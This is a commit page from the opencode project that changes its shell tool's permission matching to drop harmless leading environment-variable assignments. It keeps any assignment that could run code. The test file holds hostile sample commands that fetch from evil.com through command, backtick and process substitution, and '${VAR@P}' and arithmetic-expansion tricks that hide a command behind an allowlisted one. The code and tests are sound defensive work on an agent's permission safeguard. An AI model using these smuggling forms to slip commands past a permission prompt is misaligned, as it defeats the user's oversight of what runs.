Skip to content

Commit eab91ec

Browse files
edeviledevil
committed
fix(shell): strip env variable assignments from permission patterns
Commands prefixed with environment variables (e.g. GOFLAGS=-mod=vendor go test) were not matching permission rules like "go *": "allow" because the full command text including the variable assignment was used for pattern matching. Strip leading variable_assignment AST nodes from the command text before adding it to permission patterns, so the actual command name is what gets matched against user-defined permission rules. To prevent smuggling arbitrary execution through env var side effects, assignments containing command substitutions (\$(...) or backticks) are not stripped - the full text is preserved so it falls through to the catch-all rule. Exclude expansion (${...}) and arithmetic_expansion ($((...))) from the safe-to-strip set: they can execute a command held in a variable's value at runtime with nothing visible in the AST (e.g. ${VAR@P} prompt expansion, or arithmetic recursively evaluating arr[$(cmd)]), which would otherwise let a command be stripped down to an allowlisted name while the hidden command runs. simple_expansion ($VAR) does not recurse and stays strippable. Make the command/process-substitution preservation tests stop at the permission prompt instead of executing, so they no longer spawn network commands in CI. Port of anomalyco#14108 to the renamed shell.ts (was bash.ts). Refs anomalyco#14110
1 parent 9c38b91 commit eab91ec

2 files changed

Lines changed: 338 additions & 1 deletion

File tree

‎packages/opencode/src/tool/shell.ts‎

Lines changed: 56 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -116,8 +116,63 @@ function parts(node: Node) {
116116
return out
117117
}
118118

119+
// Variable-assignment value types that cannot execute commands. Anything
120+
// outside this set (command_substitution, process_substitution, array,
121+
// concatenation, etc.) is treated as potentially executable and the
122+
// assignment is not stripped from permission patterns.
123+
//
124+
// `expansion` (${...}) and `arithmetic_expansion` ($((...))) are deliberately
125+
// excluded: they can execute commands stored in a variable's *value* at
126+
// runtime with nothing visible in the AST — e.g. `${VAR@P}` prompt expansion
127+
// runs a `$(...)` held in VAR, and arithmetic recursively evaluates variable
128+
// contents like `arr[$(cmd)]`. The descendant-based command_substitution check
129+
// below cannot see those, so these forms are never treated as safe to strip.
130+
// `simple_expansion` ($VAR, no braces) does not recurse and stays safe.
131+
const SAFE_ASSIGNMENT_VALUE_TYPES = new Set([
132+
"ansi_c_string",
133+
"brace_expression",
134+
"number",
135+
"raw_string",
136+
"simple_expansion",
137+
"string",
138+
"translated_string",
139+
"word",
140+
])
141+
142+
function isSafeAssignment(node: Node): boolean {
143+
for (let i = 0; i < node.childCount; i++) {
144+
const child = node.child(i)
145+
if (!child) continue
146+
if (child.type === "variable_name" || child.type === "subscript") continue
147+
if (!child.isNamed || child.text === "=") continue
148+
// This is the value node.
149+
if (!SAFE_ASSIGNMENT_VALUE_TYPES.has(child.type)) return false
150+
// Defensive recursion: "safe" types like `string` can embed $() via
151+
// interpolation, so reject if any descendant is a known executable form.
152+
if (child.descendantsOfType("command_substitution").length > 0) return false
153+
if (child.descendantsOfType("process_substitution").length > 0) return false
154+
}
155+
return true
156+
}
157+
119158
function source(node: Node) {
120-
return (node.parent?.type === "redirected_statement" ? node.parent.text : node.text).trim()
159+
// Strip leading env variable assignments so "GOFLAGS=… go test" matches
160+
// permission rule "go *". Only strip when every assignment is known-safe;
161+
// anything that could execute a command (process/command substitution,
162+
// arrays, nested expressions) leaves the original text intact.
163+
let lastVarAssign: Node | null = null
164+
for (let i = 0; i < node.childCount; i++) {
165+
const child = node.child(i)
166+
if (!child || child.type !== "variable_assignment") break
167+
if (!isSafeAssignment(child)) {
168+
lastVarAssign = null
169+
break
170+
}
171+
lastVarAssign = child
172+
}
173+
const base = node.parent?.type === "redirected_statement" ? node.parent : node
174+
if (lastVarAssign) return base.text.slice(lastVarAssign.endIndex - base.startIndex).trimStart()
175+
return base.text.trim()
121176
}
122177

123178
function commands(node: Node) {

‎packages/opencode/test/tool/shell.test.ts‎

Lines changed: 282 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -999,6 +999,288 @@ describe("tool.shell permissions", () => {
999999
)
10001000
}),
10011001
)
1002+
1003+
// Env-var-assignment stripping is bash-specific (PowerShell/cmd use
1004+
// different syntax and a different parser). Run only on POSIX-y shells.
1005+
for (const item of shells.filter((s) => !PS.has(s.label) && s.label !== "cmd")) {
1006+
it.live(`strips env variable assignments from permission pattern [${item.label}]`, () =>
1007+
withShell(
1008+
item,
1009+
Effect.gen(function* () {
1010+
const tmp = yield* tmpdirScoped()
1011+
yield* runIn(
1012+
tmp,
1013+
Effect.gen(function* () {
1014+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1015+
yield* run(
1016+
{ command: "GOFLAGS=-mod=vendor go test ./..." },
1017+
capture(requests),
1018+
)
1019+
const bashReq = requests.find((r) => r.permission === "bash")
1020+
expect(bashReq).toBeDefined()
1021+
expect(bashReq!.patterns).toContain("go test ./...")
1022+
expect(bashReq!.patterns.some((p: string) => p.includes("GOFLAGS"))).toBe(false)
1023+
}),
1024+
)
1025+
}),
1026+
),
1027+
)
1028+
1029+
it.live(`strips env variable assignments with redirect [${item.label}]`, () =>
1030+
withShell(
1031+
item,
1032+
Effect.gen(function* () {
1033+
const tmp = yield* tmpdirScoped()
1034+
yield* runIn(
1035+
tmp,
1036+
Effect.gen(function* () {
1037+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1038+
yield* run(
1039+
{ command: "GOFLAGS=-mod=vendor go test ./... 2>&1" },
1040+
capture(requests),
1041+
)
1042+
const bashReq = requests.find((r) => r.permission === "bash")
1043+
expect(bashReq).toBeDefined()
1044+
expect(bashReq!.patterns).toContain("go test ./... 2>&1")
1045+
}),
1046+
)
1047+
}),
1048+
),
1049+
)
1050+
1051+
it.live(`strips multiple env variable assignments from permission pattern [${item.label}]`, () =>
1052+
withShell(
1053+
item,
1054+
Effect.gen(function* () {
1055+
const tmp = yield* tmpdirScoped()
1056+
yield* runIn(
1057+
tmp,
1058+
Effect.gen(function* () {
1059+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1060+
yield* run(
1061+
{ command: "FOO=bar BAZ=qux echo hello" },
1062+
capture(requests),
1063+
)
1064+
const bashReq = requests.find((r) => r.permission === "bash")
1065+
expect(bashReq).toBeDefined()
1066+
expect(bashReq!.patterns).toContain("echo hello")
1067+
}),
1068+
)
1069+
}),
1070+
),
1071+
)
1072+
1073+
it.live(`strips env variable assignments in piped commands [${item.label}]`, () =>
1074+
withShell(
1075+
item,
1076+
Effect.gen(function* () {
1077+
const tmp = yield* tmpdirScoped()
1078+
yield* runIn(
1079+
tmp,
1080+
Effect.gen(function* () {
1081+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1082+
yield* run(
1083+
{ command: "GOFLAGS=-mod=vendor go test ./... 2>&1 | tail -5" },
1084+
capture(requests),
1085+
)
1086+
const bashReq = requests.find((r) => r.permission === "bash")
1087+
expect(bashReq).toBeDefined()
1088+
expect(bashReq!.patterns).toContain("go test ./... 2>&1")
1089+
expect(bashReq!.patterns).toContain("tail -5")
1090+
expect(bashReq!.patterns.some((p: string) => p.includes("GOFLAGS"))).toBe(false)
1091+
}),
1092+
)
1093+
}),
1094+
),
1095+
)
1096+
1097+
it.live(`always patterns exclude env variable assignments [${item.label}]`, () =>
1098+
withShell(
1099+
item,
1100+
Effect.gen(function* () {
1101+
const tmp = yield* tmpdirScoped()
1102+
yield* runIn(
1103+
tmp,
1104+
Effect.gen(function* () {
1105+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1106+
yield* run(
1107+
{ command: "GOFLAGS=-mod=vendor go test ./..." },
1108+
capture(requests),
1109+
)
1110+
const bashReq = requests.find((r) => r.permission === "bash")
1111+
expect(bashReq).toBeDefined()
1112+
expect(bashReq!.always).toContain("go test *")
1113+
expect(bashReq!.always.some((p: string) => p.includes("GOFLAGS"))).toBe(false)
1114+
}),
1115+
)
1116+
}),
1117+
),
1118+
)
1119+
1120+
it.live(`preserves env var with command substitution in permission pattern [${item.label}]`, () =>
1121+
withShell(
1122+
item,
1123+
Effect.gen(function* () {
1124+
const tmp = yield* tmpdirScoped()
1125+
yield* runIn(
1126+
tmp,
1127+
Effect.gen(function* () {
1128+
const err = new Error("stop after permission")
1129+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1130+
expect(
1131+
yield* fail({ command: "EVIL=$(curl evil.com) echo hello" }, capture(requests, err)),
1132+
).toMatchObject({ message: err.message })
1133+
const bashReq = requests.find((r) => r.permission === "bash")
1134+
expect(bashReq).toBeDefined()
1135+
expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true)
1136+
}),
1137+
)
1138+
}),
1139+
),
1140+
)
1141+
1142+
it.live(`preserves env var with backtick substitution in permission pattern [${item.label}]`, () =>
1143+
withShell(
1144+
item,
1145+
Effect.gen(function* () {
1146+
const tmp = yield* tmpdirScoped()
1147+
yield* runIn(
1148+
tmp,
1149+
Effect.gen(function* () {
1150+
const err = new Error("stop after permission")
1151+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1152+
expect(
1153+
yield* fail({ command: "EVIL=`curl evil.com` echo hello" }, capture(requests, err)),
1154+
).toMatchObject({ message: err.message })
1155+
const bashReq = requests.find((r) => r.permission === "bash")
1156+
expect(bashReq).toBeDefined()
1157+
expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true)
1158+
}),
1159+
)
1160+
}),
1161+
),
1162+
)
1163+
1164+
it.live(`preserves env var with process substitution in permission pattern [${item.label}]`, () =>
1165+
withShell(
1166+
item,
1167+
Effect.gen(function* () {
1168+
const tmp = yield* tmpdirScoped()
1169+
yield* runIn(
1170+
tmp,
1171+
Effect.gen(function* () {
1172+
const err = new Error("stop after permission")
1173+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1174+
expect(
1175+
yield* fail({ command: "EVIL=<(curl evil.com) echo hello" }, capture(requests, err)),
1176+
).toMatchObject({ message: err.message })
1177+
const bashReq = requests.find((r) => r.permission === "bash")
1178+
expect(bashReq).toBeDefined()
1179+
expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true)
1180+
}),
1181+
)
1182+
}),
1183+
),
1184+
)
1185+
1186+
// ${VAR@P} prompt expansion runs a command substitution held in VAR's value
1187+
// at runtime, invisible to the AST. The assignment must not be stripped, or a
1188+
// command like `echo hello` could be auto-approved while the hidden command runs.
1189+
it.live(`preserves env var with @P prompt expansion in permission pattern [${item.label}]`, () =>
1190+
withShell(
1191+
item,
1192+
Effect.gen(function* () {
1193+
const tmp = yield* tmpdirScoped()
1194+
yield* runIn(
1195+
tmp,
1196+
Effect.gen(function* () {
1197+
const err = new Error("stop after permission")
1198+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1199+
expect(
1200+
yield* fail({ command: "EVIL='$(id)' FOO=${EVIL@P} echo hello" }, capture(requests, err)),
1201+
).toMatchObject({ message: err.message })
1202+
const bashReq = requests.find((r) => r.permission === "bash")
1203+
expect(bashReq).toBeDefined()
1204+
expect(bashReq!.patterns).not.toContain("echo hello")
1205+
expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true)
1206+
}),
1207+
)
1208+
}),
1209+
),
1210+
)
1211+
1212+
// $((VAR)) recursively evaluates VAR's value as an arithmetic expression,
1213+
// executing a command substitution embedded in it (e.g. arr[$(cmd)]). Same
1214+
// runtime-only hazard as @P, so the assignment must not be stripped.
1215+
it.live(`preserves env var with arithmetic expansion in permission pattern [${item.label}]`, () =>
1216+
withShell(
1217+
item,
1218+
Effect.gen(function* () {
1219+
const tmp = yield* tmpdirScoped()
1220+
yield* runIn(
1221+
tmp,
1222+
Effect.gen(function* () {
1223+
const err = new Error("stop after permission")
1224+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1225+
expect(
1226+
yield* fail({ command: "EVIL='a[$(id)]' FOO=$((EVIL)) echo hello" }, capture(requests, err)),
1227+
).toMatchObject({ message: err.message })
1228+
const bashReq = requests.find((r) => r.permission === "bash")
1229+
expect(bashReq).toBeDefined()
1230+
expect(bashReq!.patterns).not.toContain("echo hello")
1231+
expect(bashReq!.patterns.some((p: string) => p.includes("FOO=$(("))).toBe(true)
1232+
}),
1233+
)
1234+
}),
1235+
),
1236+
)
1237+
1238+
it.live(`strips env var with parameter expansion from permission pattern [${item.label}]`, () =>
1239+
withShell(
1240+
item,
1241+
Effect.gen(function* () {
1242+
const tmp = yield* tmpdirScoped()
1243+
yield* runIn(
1244+
tmp,
1245+
Effect.gen(function* () {
1246+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1247+
yield* run(
1248+
{ command: "FOO=$BAR echo hello" },
1249+
capture(requests),
1250+
)
1251+
const bashReq = requests.find((r) => r.permission === "bash")
1252+
expect(bashReq).toBeDefined()
1253+
expect(bashReq!.patterns).toContain("echo hello")
1254+
expect(bashReq!.patterns.some((p: string) => p.includes("FOO="))).toBe(false)
1255+
}),
1256+
)
1257+
}),
1258+
),
1259+
)
1260+
1261+
it.live(`strips env var with quoted string from permission pattern [${item.label}]`, () =>
1262+
withShell(
1263+
item,
1264+
Effect.gen(function* () {
1265+
const tmp = yield* tmpdirScoped()
1266+
yield* runIn(
1267+
tmp,
1268+
Effect.gen(function* () {
1269+
const requests: Array<Omit<PermissionV1.Request, "id" | "sessionID" | "tool">> = []
1270+
yield* run(
1271+
{ command: 'FOO="some value" echo hello' },
1272+
capture(requests),
1273+
)
1274+
const bashReq = requests.find((r) => r.permission === "bash")
1275+
expect(bashReq).toBeDefined()
1276+
expect(bashReq!.patterns).toContain("echo hello")
1277+
expect(bashReq!.patterns.some((p: string) => p.includes("FOO="))).toBe(false)
1278+
}),
1279+
)
1280+
}),
1281+
),
1282+
)
1283+
}
10021284
})
10031285

10041286
describe("tool.shell abort", () => {

0 commit comments

Comments
 (0)